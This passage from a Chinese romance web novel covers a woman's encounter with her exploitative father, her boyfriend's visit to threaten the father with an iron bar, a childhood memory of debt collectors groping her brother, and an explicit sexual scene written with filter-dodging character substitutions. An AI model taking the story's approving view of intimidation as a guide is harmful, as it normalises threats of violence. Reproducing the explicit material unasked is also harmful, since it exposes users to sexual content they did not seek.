手肘后面没拍到,谈丹青帮着拍了拍,这才发现刚才为了接住她,绪东阳手肘在地上划出了一道口子。 “我记得附近就有药店,”谈丹青飞快掏出手机用导航一搜,果然搜到了几家。 她很快就去药店买了紫药水和创口贴,出来后就近找了条树荫下的长椅,拧开药水,用棉签蘸取了些许,说:“袖子挽起来吧。” 绪东阳将单车停靠在椅旁,依言卷起袖管,露出小臂上那片新鲜的擦伤,皮肤微微红肿,渗着血丝。 谈丹青拿着棉签俯身凑近,她身上的气息很淡,带着一点干净的皂香,混合着药水的特殊气味。 冰凉的棉签小心翼翼地点在他的伤口上,绪东阳突然笑了一声。 谈丹青手一抖,以为自己下手太重,结果抬起头来,见绪东阳是真的在笑,一时满头疑惑。 她手指夹住棉签,腾出双手,捧上绪东阳的脸,在他脸上搓了搓,认真地说:“绪东阳,你怎么了?难道刚刚摔到的其实是脑子吗?” 不然为什么涂药的时候不觉得疼,反而还笑? “不是,”绪东阳含笑地摇了摇头,说:“想到点别的事了。” 这事谈丹青铁定不知道,而且一辈子都不会知道。 那是他们第一次见面。 他透过窗户看到谈丹青给谈小白涂药。 谈丹青也是这样,专注地低着头,用棉签沾着药水,小心翼翼地点在谈小白的脑袋上。 那时阳光也是暖的,他隔着窗户,心里莫名地、固执地盘旋着一个念头:那双专注的眼睛下,这只白皙的指尖,轻轻拂过伤口的感觉。该是什么样? “什么事?”谈丹青好奇地问。 这事绪东阳不可能说。 说了显得有点太边台。 “没什么,”绪东阳放下袖口,站起身,说:“还骑么?不想骑就算了,我租一个双人的。” “骑啊!”谈丹青燃起斗志,“都摔倒了,还不骑岂不要亏死?” 后半程,谈丹青也扫了一辆单车,两人一前一后沿江骑行。 出了江滩,谈丹青朝东侧一排老楼房望了一眼,说:“我以前的库房就在这边,我现在过去看一眼。” “好,”绪东阳停好单车,“我陪你过去。” 46 第46章 ◎找我◎ 一到仓库门口,谈丹青双脚便像被生锈的铜钉钉在了原地,动弹不得。 保安亭前,一名穿灰夹克、提尿素袋的小个子中年人,正佝偻着背,絮絮叨叨地跟门卫说着什么。 只消一个背影,谈丹青立刻认出那人是谁。 他的身形,走路时习惯往将身体重量往左边靠的独特姿势,她全都太过熟悉。甚至不需要他整个人转过身来。 薄薄的玻璃窗,挡不住那倒熟悉的声音。 谈国军耷拉着眉,搓着粗糙的手,对门卫唉声叹气:“哎,我那闺女丹青,今天还是联系不上吗?哎,我这当爹的,就想看看她过得好不好。” “别急别急,”门卫心有不忍,忙拎起电话话筒拨号,“我再帮您问问吧。” 电话刚拨出去,门卫一晃眼,就瞥见谈丹青的身影,立刻挂了电话扬声喊道:“诶,小谈总!这不是巧了么这!您父亲在这儿等您半天了!” 清晰地听到“父亲”两个字,谈丹青像被毒蛇咬了一口,手指蜷缩了一下,转身就走,步伐又快又急。 门卫忙不迭从岗亭追了出来,几步拦在她面前,“小谈总!小谈总您等等啊!您父亲来来回回跑了七八趟了!” 谈国军这时也小跑着凑了过来,对所有经过围观的人,都露出老实人特有的、近乎卑微的讨好笑容。 他距离她越近,她的心越咚咚跳。 她不想看到他那张每根皱纹都藏满算计的脸,也不想听到他可怜兮兮带着哭腔的声音。 “不认识。”谈丹青冷漠地扭头就走。 围观经过的人目光渐渐聚拢过来,谈丹青衣着得体,光鲜靓丽,和灰头土脸、一脸“被女儿嫌弃”的“可怜老父亲”,对比太过鲜明。 谁看了都会先入为主地认定这无非就是一场发达女儿不认爹的戏码。 “怎么回事?亲爹都不认啊?” “看那女的穿得这么好,肯定有钱了,她爹真可怜!” “心太硬,白养这么大了!这种女儿,有等于没有!” 谈丹青背脊挺得笔直,她飞快从背包里掏出墨镜戴上,脚步又快又急。 “诶!”门卫还想再拦,被绪东阳一步上前,不动声色地挡了回去,手臂形成一道坚实的屏障。 “都说了不认识。”绪东阳拧眉说。 “不认识?”那门卫为谈国军打抱不平,对着谈丹青的背影大喊:“小谈总,做人再有钱也要讲良心。你父亲这几天来来回回都不知道跑多少趟了,就想见您一面。大冷天的,老人家年纪大,提着东西来回折腾,多不容易啊!亲生父女,有啥误会当面说开不行吗?” 这时谈国军当着众人的面解开尿毒素袋,里面装着一些土鸡蛋,还有一些不知名的土特产。 “丹青,”他用讨好地语气说:“见到我再不高兴,也将这些东西拿去。都是补身体的,对你身体好。” “哎……” “真是可怜天下父母心……” 这些窃窃私语无孔不入,谈丹青脑子里血管突突直跳。 她冷冷地瞥了一眼那袋鸡蛋。几枚鸡蛋值多少钱?顶了天了一个一只一块。小时候,她和谈小白想吃鸡蛋,他不给。现在已经没人会馋这个了,他却跑来谄媚地献宝。 她就像什么都没听见一样,转身就往停车的地方走。 绪东阳停留在原地,没有像往常一样立刻跟上。 谈丹青用眼角的余光看到了,心里小小的空了一块。 不知是谈国军无意还是故意,那袋鸡蛋突然滚落到了地上。 “哎呀,我的鸡蛋!”谈国军急得团团转。 “怎么还糟蹋好东西!” “就算看不起,也不能这样吧?” 这些声音顺着风飘来,谈丹青越走越快,好像只要她走得足够快了,就能将这些声音挡在耳后。 谈国军蹲下身,笨拙地捡着那些到处滚动的鸡蛋。捡了一枚,立马又掉了另一枚,鸡蛋越滚越多,狼狈不堪。 路人实在看不下去,纷纷帮谈国军捡,甚至还有人主动问他,“老人家,您这鸡蛋多少钱?我买了吧。” 谈国军连连摆手,结结巴巴地说:“这怎么行?这怎么行?你们可真是好人呀,都好人。一个三块,对三块。” 一只鸡蛋滚至了绪东阳的脚边。 突然见到谈国军,绪东阳的确有些意外。 在他的刻板印象里,他总觉得谈国军会长一张精明市侩,或者贼眉鼠眼的脸。 但坏人从来不将“坏人”这两个大字写脑门上。 谈国军模样和精明完全没有关系,嘴唇又方又厚,看起来甚至属于憨厚老实。 谈丹青越走越远,门卫还要追她,绪东阳迅速在纸巾上写下一串号码,塞过去,说:“叫他打这个号。” “哎,好好好。”门卫对绪东阳说:“谢谢你啊小伙子,听叔一句劝,找老婆啊,心善最重要,光漂亮顶啥用?这种连亲爹都不认的……” 绪东阳打断他,声音不高,却冷:“你跟她很熟?” 门卫一愣,“啊”了一声。 “不熟?”绪东阳眉梢微挑,“不熟,你在这充什么判官?” 门卫被噎得脸色涨红:“行行行!算我多嘴!你俩可真是绝配!” * 等绪东阳追上谈丹青时,她已经舒舒服服地坐进车里。 黑色飞行员墨镜遮住了大半张脸,手指在手机屏幕上飞快地戳来戳去。 绪东阳看了一眼屏幕。 彩色泡泡炸裂的特效满屏飞。 谈丹青在玩泡泡龙,已经通过好几个高难度关卡。 绪东阳手指微曲,在车窗上叩了叩。 谈丹青的节奏被打断,游戏音效声戛然而止。 “gameover”游戏结束。 她对着屏幕顿了两秒,才不情不愿地降下了车窗。 绪东阳探身过去,食指轻轻往下一勾,将她鼻梁上的墨镜往下拨了一点,直直看向她镜片后的眼睛。 谈丹青迅速低下头,闷声道:“嗯?” 眼睛没红,眼眶也是干燥的。 应该真没哭。 戴墨镜大概只是单纯为了挡太阳光。 好在游戏里大杀特杀。 绪东阳松了口气,替她将墨镜推回原位,说:“我来开吧。想摸车了。” 谈丹青本也不想开车,默默换到副驾,低头重新开了一局游戏。 车身驶入车流,沉默在车厢里蔓延。 两人默契地谁也不提方才的事。 谈丹青偶然抬头看了一眼窗外的路况,才发现他们已经是去往回家的方向。 “不是还要去看电影么?”谈丹青问。 绪东阳给她看过下午的电影票。 明天就要返校,所以绪东阳对今天的约会肉眼可见的期待。他安排了很满的活动,好像晚上还有游乐园的预约。 “不去了。”绪东阳说,“时间有点晚。” 谈丹青看了眼时间,电影已经开播了。 指尖继续戳着屏幕,泡泡炸裂的声音噼啪不断。 又打了一局,谈丹青放下手机。 窗外街景流动,她对着窗外说:“今天的事……别跟谈小白说。我不想让他知道。” “好。”绪东阳温声答应下来。 到了楼下,车停稳,两人一前一后上了楼。 谈丹青踩着台阶,脚步几次刻意放慢,想等绪东阳并肩,但绪东阳却始终在她身后一步的距离。 嘴唇有些发干,紧抿在一起,又分开。 无数的话在舌尖翻滚,像烧开的水。 她好想告诉绪东阳,谈国军真不是他看起来那么老实无辜。 他的可怜都是装的! 他就是这样,最会装可怜,博同情。 他今天来,也绝不是想跟她修复父女关系。他是来找她要钱。虽然他目前还没开口,她也拿不出证据。 她还想说,她不是什么没良心的恶女。 她是爱钱,是小气又市井。 可是…… 可是她如果不这样,她没有今天。 平日里,她总伶牙俐齿,好占口头便宜。 唯独在解释自己这件事上,字字艰难。 每一句维护自己的话,都好像在示弱,*在祈求理解和同情。 她厌恶这种感觉。 最后一级台阶踏完,她重重地咬了一下嘴唇,自暴自弃地想: 我就坏心眼了,那又怎么样呢? 门锁“哒”的一声响,门推开,谈丹青走进去,绪东阳却停在门外。“你休息一会儿,”他说:“我出去一趟。” 他没说去哪。谈丹青梗着脖子,也不问。 “哦。”她抬脚就往里走。 门在身后轻轻合上。 听着那落锁声,谈丹青对着空荡荡的玄关,无所谓地瘪了瘪嘴。 她不在乎绪东阳现在怎么想。 说她心肠硬的话,她又不是没听过。 只是她心里好像空了一下。 仿佛刚刚滚进草地时,身后并没有人。 * 谈国军空着手往家走,边走边打电话,“钱?放心放心……嗯,我女儿现在可有钱了,开大公司的,怎么会少给你?对对对……一定一定的……” 到了家门口,谈国军擦了一手脑门上的汗,又沾沾自喜地摸了摸裤兜。 今天虽然没要到钱,但那袋鸡蛋卖了不少钱。就是超市买的一点便宜货,一个卖到三块,这不傻到家么? 一只小猫玩的扭扭球绊了他一脚,“什么玩意儿?”他嘟囔着将地上的东西踹开。 这楼道里有人散养猫。 什么世道?把猫子当爹了。 他掏钥匙开门,却睨见门外角落阴影立了个人。 “谁?”他心下一惊,没看清脸,先看清了对方手里拿着的东西。 一条铁棍,将近半米长,沉甸甸的。 “我,我保证会给钱的,都已经说好了……”谈国军腿肚子发软,以为又是催债的。他下意识求饶,可眼皮往上看,看见那人的脸,又愣住了。这不就是刚才他女儿谈丹青旁边的那个男人? 他怀里突然蹿出一只小猫,将谈国军吓了一跳。 这人刚刚等他时,应该就在逗这只小猫。 绪东阳没说话,只用手里的铁棍随意地、轻轻地叩了叩那扇斑驳的铁门。 金属撞击发出沉闷的“笃、笃”两声,在寂静的楼道里格外清晰。 谈国军哆哆嗦嗦地开了门。 门上层层叠叠贴着物业欠费单、水电催缴通知,还有几道刺目的红油漆印子。 难以想象这种地方竟还住了人。 绪东阳迈步进去后,仿佛就像他不存在。 目光将这间不大的三居室迅速扫了一遍,从天花板到墙角,淡淡地问:“一直住这儿?” “对对对,”谈国军连连点头,陪着小心:“一直住这儿。我以前我我老婆,我儿子女儿,就住这儿。” 绪东阳没接话,径自在屋里走动。 谈国军心里打鼓,这人到底来干嘛? 要债的早该狮子大开口了,可他从头到尾没提钱,注意力全在这破房子上。 他又猜,绪东阳是来估这房子能抵多少钱,忙说:“房子已经抵押了,我会想办法搞到钱的。” 绪东阳走到一扇虚掩着的门前停下脚步。 目光落在门缝后的黑暗里,似是在想着什么。 谈国军主动殷切地帮他推开房门,说:“这间是我女儿以前住的。” 窄门就这么毫无征兆地推开,绪东阳下意识眨了眨眼。 里面其实什么都没有,家具和衣物早已全部搬空。 也是,以谈丹青的性格,她不会在这个家里留下任何东西。 唯一带不走的,是靠近门框的墙壁上,几道深浅不一、已经模糊的铅笔刻痕。 那是量身高留下的记号。 这排细小的刻痕,像一串被遗忘的密码,却在一米二这个数字的位置,彻底结束。 绪东阳的目光定在那道最后的刻痕上。 一米二? 一米二的小姑娘大概几岁? 五岁?六岁? 绪东阳视线在那道终止的刻痕上停留了几秒,眼神沉静无波。 他仔细地搜寻、感受着这个房间里谈丹青留下的印记。 仿佛这样就能在她被谈国军推出去面对那些人时,站到她的身旁。 喉结几不可察地滚动了一下,指尖无意识地蜷起又松开,像是将某种沉重的东西印刻进心底。 他一言未发,缓缓转身回到光线昏暗的客厅。 “是……要喝水吗?”谈国军谈国军局促不安,手忙脚乱地在杂乱的桌面上翻找着落满灰尘的杯子,又去摸索早已凉透的水壶。 绪东阳没有理会他,只是将铁棍不轻不重地撂在积灰的旧茶几上,发出沉闷的声响。 对付谈国军这种人,要分长线和短线。 长线是打官司,在法律上彻底解除父女关系,使得谈国军的债务问题不会牵连到她。 短线就是威慑,以暴制暴,让他在他准备相关材料的这段时间内,不要来干扰谈丹青。 “手机号给你了,”他开门见山道:“我是谈丹青的男人,以后有事别找她。” “找我。” 【作者有话说】 那个……这篇文我打了破镜重圆的tag哈。 所以后面两人会分开一下下, 但是!!感情的浓度是不会变的!! [垂耳兔头][垂耳兔头] 47 第47章 ◎水晶◎ 回家后,谈丹青像什么事也没有发生,照旧换衣、洗漱、敷面膜做护肤,然后打开笔记本电脑剪辑今天拍的视频素材。 最后一段视频素材导入时间轴,她将剪辑好的vlog视频发给了郑芳。 郑芳收到视频后秒回:【牛啊牛啊牛啊!过年视频有了!就是这种感觉太对味!】 Tdq:【OK。这几天让市场部那边加强一下舆情监控吧,我今天碰到谈国军。】 消息刚发过去,郑芳的电话就打了来:“什么???怎么会碰到他呢?” “今天我去了老库房。”谈丹青回答。 “门卫说来找你的那个男人……”郑芳懊悔,“我早该想到这点!如果我想到了,我一定不让你去了。” “这种事,谁又能提前想得到。”谈丹青鼠标反复点击着一只空文件夹,说:“他既然能找到老库房,就肯定能找到我公司。现在我的名字和品牌绑定得很深,我不知道他下一步打算做什么,但如果网上有舆情爆发,一定会影响到我们销量。” “明白明白。”郑芳那头一阵噪音,应该是她已经开始着手准备了,“你放心,这事儿我会盯着的。市场这块本来就我负责。”她微一顿,声音刻意放轻了些,试探地问:“丹青……你,现在怎么样?” 听筒里一片沉寂。过了好一会儿,才传来谈丹青平静的声音:“嗯,我没事。” 怎么可能没事? 谈丹青的家事郑芳知道得并不多,但仅根据她有所耳闻的事,都知道谈国军就是个人渣。她不敢想象谈丹青今天意外碰到谈国军后,是怎么回来还有毅力剪辑好一个视频,处理完后台的所有邮件。 这姑娘就是一枚紧闭的蚌壳。 再锋利的沙砾磨进血肉,也只独自默默承受。 绝对不会对任何人哭哭啼啼,展示伤口,诉说委屈。 对再亲近的人也不会。 “总之,有任何事,你都可以跟我说,”郑芳说:“天塌下来,咱们一起扛。我在这儿呢。” “知道的。”话筒里传来谈丹青一声极轻的笑。这种时候还笑得出来,全天下也只有谈丹青。 放下手机,谈丹青不得休息,又马不停蹄地跟吕力鼎那边通了气。她身上还有和mcn合作的协议合同。如果“丹心”因她的个人原因产生负面舆论影响,她作为创始人需负连带责任。 吕力鼎大概了解情况后,说他们mcn应对这类舆情风险的经验十分丰富,让她不必放在心上。 终于处理完所有紧急联络,谈丹青在脑海里一项一项的在代办清单事项前画√。 她不让负面情绪有机可乘,放下手机就找来几场经典内衣走秀视频,一边看,一边铅笔在速写纸上来来回回。 她画出来了好多页,但那些线条看起来凌乱无张,总觉得差了口气,抓不住眼球。 不知不觉,走秀视频的网页已经关闭,面前电脑屏幕上布满了密密麻麻的文字。 “断绝父女关系法律途径”,“子女对父母债务的法定责任”。 多年以前,她也曾独自跑去网吧查过这些法条。但那时谈国军踪迹难寻,她也羽翼未丰,连签字的人都无处可寻。如今法规条文几经更迭,一切又得重新摸索。 门锁“咔哒”轻响。谈小白搓着脸进来,上下牙打着架,“冷冷冷……外面好冷!”一见她,眼睛瞪圆,疑惑道:“咦?姐,你没出去啊?” “盼着我不在,是又想做什么坏事?”谈丹青头也没抬,飞快将关于解除父女父子关系的网站全部关闭。 “天地良心!我冤枉啊我!”谈小白夸张地举起双手投降,说:“你不是说你今天要出去么?所以我以为你会很晚回。绪哥呢?”他随口问:“他今天也出去,跟你一样,你说巧不巧?” “唔。”谈丹青抿了口热茶。 “他还没回呢?”谈小白脑袋东张西望,见他真不在屋,冲谈丹青咯咯一笑,神秘兮兮地说:“绪哥铁谈恋爱了!我昨天,看到他在用手机查初次约会经典攻略!查得可认真了!” “哦。”谈丹青应得极轻,一个字,像羽毛落进寂静里。刚才喝下的那口热水里放入了一只青涩的柠檬,舌尖发麻。 说起来,她今天作为绪东阳的“女朋友”并没有做好。 他花了不少心思安排行程,带她到处玩,只为让她开心,而她全程心不在焉。 他其实挺无辜。 不过是恰好,在她意外见到谈国军时站在离她最近的位置,于是被迫承接她这些无处安放的坏情绪。 更何况,她当时答应谈恋爱,就只抱着随便玩一玩的态度。 既然是游戏,那就应该开心大过天。 结果开场不过半日,就按头要他看老掉牙的原生家庭创伤,算是个什么事儿? 回到房间,谈丹青将手机端端正正地放在梳妆台上,凝神发呆。 对话框里的消息编辑来又编辑去: 【你晚上去哪儿了?】 【在干嘛呢?】 【什么时候回?】 字符一个字一个字敲上去,又一行一行全删了。 蓦地丢开手机,像甩开一个烫手山芋,谈丹青强迫自己继续看视频、画素描、回后台留言。 她只打算在沙发上蜷一会儿,等这点莫名的心绪沉淀,没想到眼皮一合,意识便滑入了无边的梦境。 她又回到童年时狭窄幽暗的筒子楼。 低矮的楼道天花板,将阳光切割成棱形的块状,走道里挂着往下滴水的发酵的湿秋衣。隔壁邻居中风了,每天都在熬中药,于是在木头的腐败和霉菌的味道之外,还掺杂了几缕药草的气味。 他们楼道总有几只流浪猫徘徊,邻居阿婶就会用一只不锈钢小碗给它猫饭吃。所谓猫饭,就是剩饭里拌一点火腿肠。 猫粮这种东西对于住在这里的人来说还是太奢侈了。 她和谈小白两人在家里做题。 对,她也是读过几年书,会答题。 家里的桌子很小,两人同时坐,坐不下。于是她想办法给谈小白搬来一张椅子,用椅子当桌面,然后谈小白坐在一只小板凳上。两只毛茸茸的脑袋碰在一起。 然后谈国军从外面回来了,他慈祥地对摸了摸她的头,说:“乖宝,爸爸回房间休息了,待会儿如果有人来找爸爸,你就说爸爸不在家。” 谈丹青懵懵懂懂。大人不是说,小孩不要撒谎么?怎么爸爸现在突然要她撒谎? 但满腹的疑惑,比不上乍然听到父亲夸赞的喜悦。 她觉得自己将能帮父亲做一件事,这证明她长大了。 她兴奋地点头,一口答应:“好!” 谈国军立刻躲进了屋里,紧紧关上了门。 她低头写题,心不在焉,耳朵一直竖着听门外动静。 紧接着,门敲响了,她立刻跑去开门,“我来开。” 门外站着的是几位面相就不善的中年人,两人第一眼甚至没看到她在哪儿,低下头才找到她。“你爸呢?” 这两名中年人手臂上有刺青,谈丹青嘴唇哆嗦,两条腿开始发软。 刚才的兴冲冲犹如被迎头浇了一盆水,她畏惧地缩了缩头,好想叫谈国军出来保护她。 她自己给自己打气,鼓起勇气努力完成谈国军交代给她的事:“我,我……我爸爸不在。” “就你一个小孩儿在家?”中年人眼睛在她身上转了一圈。 她当时不明白这种眼神意味着什么,只觉得浑身不舒服,像是被毒蛇从脚背上爬过。 这时谈小白蹿了出来,他和谈丹青挤在一起,大声说:“你们是什么人?” “你们的爸爸呢?谈国军呢!”那两个中年人不耐烦地问。 “他不在。”谈丹青想捂住谈小白的嘴,怕谈小白不懂事会说漏嘴,但谈小白那天不知道是明白了什么还是不敢说话,除了刚刚喊的那一嗓子,就没再吭声。 “不在?真不在假不在?”两个男人皱眉互相望了一眼,然后居高临下地看着两姐弟。 “这俩小孩儿,看着不像会撒谎。” “算了,姓谈的总不可能一直躲着吧?下次再来。” “嗯,走……”其中一个男人看向小小的谈丹青,又看了看谈小白,然后突然伸出手,掐了一把谈小白的胸口。另一个人怪笑了起来,骂了他一句:“禽兽。”然后也去掐。 这一切发生得太快,谈丹青甚至没反应过来就结束了。谈小白眼泪在眼眶里打转,一脸茫然。 “没事,没事了。”谈丹青小心翼翼地卷起谈小白的衣服看,被掐得发青。 她关上门,又害怕地用凳子抵住门板,然后跑去谈国军紧闭的房门前,“爸爸,爸爸,外面的叔叔走了。” 门这才嘎吱打开,谈国军畏头畏脑地探出头来,见外面真的一片太平,才笑了起来,说:“真乖。” 他又摸她的头,夸赞她。 但这次谈丹青却再也找不回那种被认可的兴奋感,她更多觉得困惑和茫然。 很久以后的某一天,她见到路边有人发生冲突,那对父母做的第一件事,是父亲将孩子藏在身后。 这一刻,迟来的寒意才让她后知后觉地明白自己那天感到的茫然究竟是什么。 她只是一个小小的孩子,为何会觉得本该如高山般庇护她的父亲,反而可怜兮兮,需要她去保护。这种荒谬的念头,究竟是如何被悄然植入她稚嫩的脑海? 她怔怔地低头,看着自己的手。 这双手好小,分明还是孩童的模样。 她的手怎么会这么小?这么短? 这只小小的手能搬得动什么东西? 这不该是她。 这个念头如一线冷光,骤然打破梦境。 她意识到自己在做梦,回到了她的小时候。 意识到自己在做梦就是清醒过来的第一步。 她不再挣扎,放松身体,让意识在梦中游弋,缓缓苏醒过来。 夜色浓稠如墨,她坐起身。 安安静静地呼吸,让胸腔里还在紊乱激动的心跳恢复平静。 “叮……”手机响了一声,打破宁静。 谈丹青醒神,划开手机。 Leo:【睡了?】 客厅似乎有细微的动静,她随手抓起搭在椅背的薄毯裹住肩头,赤足踩上微凉的地板,悄无声息地推开房门。 从二楼往下看,绪东阳刚从外面回来,身影被餐厅暖黄色的壁灯拉得颀长。他似是口渴,仰头喝水,喉结随着吞咽的动作清晰滚动。 身后的墙壁上,老式挂钟的秒针不紧不慢地走着,嘀嗒,嘀嗒,时间已悄然滑向十点。 像是感应到她的注视,绪东阳倏然抬眼望来。 浓密的眼睫自下而上掀起,露出那双深潭般的眸子。 “你去哪儿了。”或许是她刚刚睡得太沉,现在神志还不够清醒,这句话一直盘旋在心口的话没控制住,脱口而出,甚至带了一点质问的意味,立刻抿紧了嘴唇。 绪东阳没有回答。他放下水杯,步履沉稳地踏上楼梯,一步步走到她面前。清冽的气息混合着冬日夜晚的凉意,瞬间将她包裹。 他在她面前站定,眸色深沉,像蕴着夜的海。然后,从怀中小心地掏出一样小玩意儿。 一枚小小的、水滴形的水晶。 那水晶躺在他温热的掌心,折射着壁灯细碎的光芒。 她尚不及反应,绪东阳轻轻托起她的手,将那枚还熨帖着他体温的水晶,珍重地放入了她微凉的掌心里。 这枚水晶很漂亮。 剔透,莹润,形状生动。 即便以她龟毛又苛刻的审美,也挑不出毛病。 更奇异的是,水晶中央,包裹着一滴水珠。 她好奇地摇晃。 那滴水珠便轻盈地流淌。 “这是什么?”她问。实在奇妙,水珠怎么会跑进水晶里。 绪东阳说:“我找了个地大的朋友,借他们学校实验室用了一下,往水晶里注了一滴水。” 他微顿,“江水。” “江水?”谈丹青指尖细细摩挲水晶的表面,光滑无痕。她以为自己理解错了,“江水怎么会跑到水晶里去呢?” “这个叫水胆。”绪东阳指尖虚虚点了点水晶中心那灵动的水珠,跟她解释:“水晶在形成的过程中,可能会有水分意外被封锁在水晶内部,就形成了水胆。” “今天你说你喜欢江水之后,我就在想,怎样能将江水永久保存起来。用瓶子灌太寻常,冰冻起来又会融化,于是我就想到水晶水胆的概念,将江水封存进水晶里。” “这个就是水晶水胆?”谈丹青轻轻摇晃着掌心的水晶,那滴水珠在其中悠然滚动。 “水晶是天然水晶,但内部水胆不是。”绪东阳实话实说:“长江不产水晶,天然水晶水胆内部形成的水珠也不是江水。这枚是人造的,先凿洞,然后注水,封胶。” 绪东阳说得很简单,甚至听起来好容易。 不就是这样,这样,然后这样就行了。 可谈丹青太知道这件事绝不简单。 她刚才仔细地摩挲过水晶表面,都没找到任何孔眼。 想将一滴江水,注入水晶之中,还看不出痕迹,这是件多么精细的事。 需要巨大的耐心,和精细的操作。 绪东阳做这一切,仅仅是因为她今天站在江边,对那粼粼波光说了一个“秘密”。 可那不过就是随口一说呀…… “所以……”谈丹青喉咙像是被潮汐堵住,“你下午说有事,其实是去弄这个了?” “是。” “我以为,我以为……”谈丹青喃喃着,声音越来越轻。 “以为什么?”绪东阳问。 以为,你在看到我不是那么好看的一面后。 就选择离开了。 “没什么,”谈丹青摇摇头,将那呼之欲出的软弱念头彻底甩掉。 她眼波流转,亮晶晶地注视着掌中水晶,指尖不厌其烦地拨弄,看那又圆又胖的水珠在剔透的水晶里骨碌碌滚动,乐此不疲。 “票……买了吗?”她状似随意地问。 “嗯,买了。”绪东阳答。 “哦,那我有空去看你。”谈丹青说出一句她觉得又甜又暖的“女朋友”专属情话。 话音刚落,却听到绪东阳逸出一声低笑。 “笑什么啊?”谈丹青恼道:“这时候,你不应该觉得特开心、特期待?你女朋友要去北京看你诶!” /:. “嗯,是特开心,特期待,”绪东阳含笑说:“不过,这句话你早就对我说过了。” “啊……有吗?”谈丹青扫了扫鼻尖。 似乎……大概……好像…… 绪东阳考上大学后,她是有承诺过要去看他。 但,成年人的客套嘛。 跟“有空联系”、“有空一起吃饭”没差。 而且她那段时间真的太忙了,所以真不算放鸽子。 但绪东阳不依不饶,他煞有介事要掏手机亮证据:“有聊天记录。” “好啦好啦好啦,”谈丹青真怕绪东阳真翻旧账,忙不迭拉住他揣兜里掏手机的手,说:“但我现在肯定说的是真的。” 绪东阳莞尔,低头在她额头上亲了一口。 他总喜欢亲她额头胜过吻她唇。 她推测是因为他个子实在太高。 “没事,”他淡声说:“有空我回来,一样的。” “嗯……” 谈丹青垂下眼睫,额上残留的温度渐渐消失。 她捧着那枚水晶,像捧着一颗凝固的心。 双脚有一种站太久了的绵软感,她往后靠了靠,将身体重心往后移。 然而预想中墙面的支撑没有出现。 背后是她房间那扇虚掩着的门。 门轴转动。 房门轰然大开。 卧室尚未点灯的幽暗空间,如同一个深不见底的漩涡,走廊柔和的光线迫不及待地涌入那片私密的黑暗,让这扇门框看起来像是一处光与影交错的奇幻入口。 一瞬间,宛如打开一只潘多拉的魔盒。 又仿佛双双跌进了一场绮.丽的梦里。 绪东阳拉住了她,也跟着她一起踏入属于她的私密的领地里。 呼吸间,温热的气息拂过她的额发。 空气仿佛被抽走了声音,只剩下彼此间清晰可闻的心跳,还有那枚被她紧攥在掌心的水晶。 “要不要我回房?” 他问她,身体却纹丝未动。 非但未退,反而向前倾了寸许。 温热的气息混着他身上清冽干净的味道,更加密不透风地笼罩下来,像一张无形却坚韧的网。 他似乎在问她。 但又似乎不给她选择的余地。 【作者有话说】 那个…… 我车技还是可以期待一下的,骄傲抬头挺胸。 嘎嘎嘎嘎嘎嘎 to审.核 清汤大老爷啊,我说的是科目三 48 第48章 ◎邀约◎ 这是个令人面红耳热的无声的邀约。 谈丹青抬起手。 掌心轻轻盖住了绪东阳的眼皮。 紧接着,她踮脚、覆唇,轻轻吻在他的下颌上。 唇下肌肤温热,散发着清冽的剃须水气息。 干净得像雨后的森林,让她想到今晚江畔拂面而来的晚风,瞬间将她包裹。 下一瞬,绪东阳折住了她的手臂,紧揽着她的腰,踉跄后退。 同时仰面倒进她柔软的床榻上。 床榻立刻发出沉闷的响,床垫下陷,又带来微微往上托举的回弹。绪东阳的躯体几乎占满了所有空间。她几乎是躺在了他的身上。臀月要下滚烫而坚实的质感,尤为清晰。 她下意识在在他怀中乱动,轻推了他一把,责怪:“你……你真的太占地方了。你一躺下来,我就没位置了。” 绪东阳缓缓收拢了环在她月要上的手臂,像收拢两条互相缠绕的藤蔓,将她更紧密地压向自己,几乎勒得她无法呼吸。 灼热的呼吸沉沉地落下,落在她脸颊上,眼皮上,“那,就坐上来。” 她立刻感觉到了他的东西开始站立起来。 充血。 无声地肿胀。 存在感越来越强。 最后宛如一木艮发热的铁,抵着她的臋。 她知道那东西是什么。 它似乎还在长大,叫她一时迟疑。 太大了,到时候怎么吞下? 她难得乖巧沉静,不再摆动臋,安安静静地躺着。 绪东阳的唇覆了过来,喂进她的嘴里。他的舍柔软而滑,刮过她的舍木艮,彼此摩擦着。在一次又一次不知饥渴的尝试里,他学得飞快,进步如神,无师自通地学会了很多技巧和花样,不断吞咽,将她的往自己口中带。 她从他这里尝到了一股甘凉的气味。 人的气味据说和基因有关,找到自己喜欢的气味,就是找到了另外一排和自己基因相契合的密码。 绪东阳的气息很合她的口味,在相互交换里,他的味道变得越来越浓烈,仿佛要将这种味道全部烙印在她的身上。 长时间被掠夺走氧料,谈丹青脑中一阵阵地动山摇,身体也轻飘飘悬浮起来。她尝试着用鼻腔吸气,无力地推他。 缺氧的晕眩里,绪东阳终于往后退让了一条缝隙。他用手指去抚她的唇。 谈丹青那张动人漂亮的脸,被银白色的月色照着,仿佛是上了一层透明的釉。那张白皙的脸上,眼漆黑,唇却红得厉害,像一朵盛开的玫瑰花瓣,带着欲念和引诱。嘴角有多余的透明唾液在往外溢,精致小巧的下颌变得湿漉漉的。 他去舔她嘴角的水。 但吻似乎已经不够了。 远远不够。 还是觉得渴。 胸口里巨大的空洞,必须要将她一整个全部塞进来才能填满。 这种念头简直疯得可怕,带着不健康的病态的占有欲。 她明明是一个独立的人。 有她的人格、权益。 怎能被他像野兽一样一口吞入腹中? “外,外套,”谈丹青语不成调。 他脱了身上沾晚风的外衣,外衣掉在地上。他里面是干净的黑色短袖,露出健壮的手臂。他俯身又去抱她,鼻尖贴着她的脖颈,边吻边嗅,呼吸洒在她的脖颈、肩、然后是月匈口一片雪。 无意中扫过某处,谈丹青整个人顿时抖得厉害,发出一阵低低地小兽似的呜咽。这是生理上的本能反应,类似膝跳反应,伪装不了,同样也隐藏不了。 谈丹青很好强,爱面子,总不愿做觉得丢脸的事。于是就算是这种时候,她也要咬着嘴唇,将所有声音都吞回去,拿水盈盈地眼睛觑他。这是谈丹青不可能被看到的一面,仿佛脆弱的鸡蛋壳表面有了裂纹。 可他想听更多,听得更清晰。粗粝的指腹从唇珠摩挲到下唇,然后轻轻探进去,摸到贝齿后的软。于是声音全泄出来了,如玉珠在玉盘上滴溜溜滚,“啊,呀……” 他不懂章法,青涩笨拙,手和唇只会遵循身体的本能。去咬他最想吃的地方。 “唔……”谈丹青发出一声惊呼,仿佛被吓到似的紧紧抱住他的头,手指穿过了他的头发,点在他的头皮上。 “不行的,这里不行的……”她带了点哭腔,低头看着他,上气不接下气,“这么咬,会弄破。” 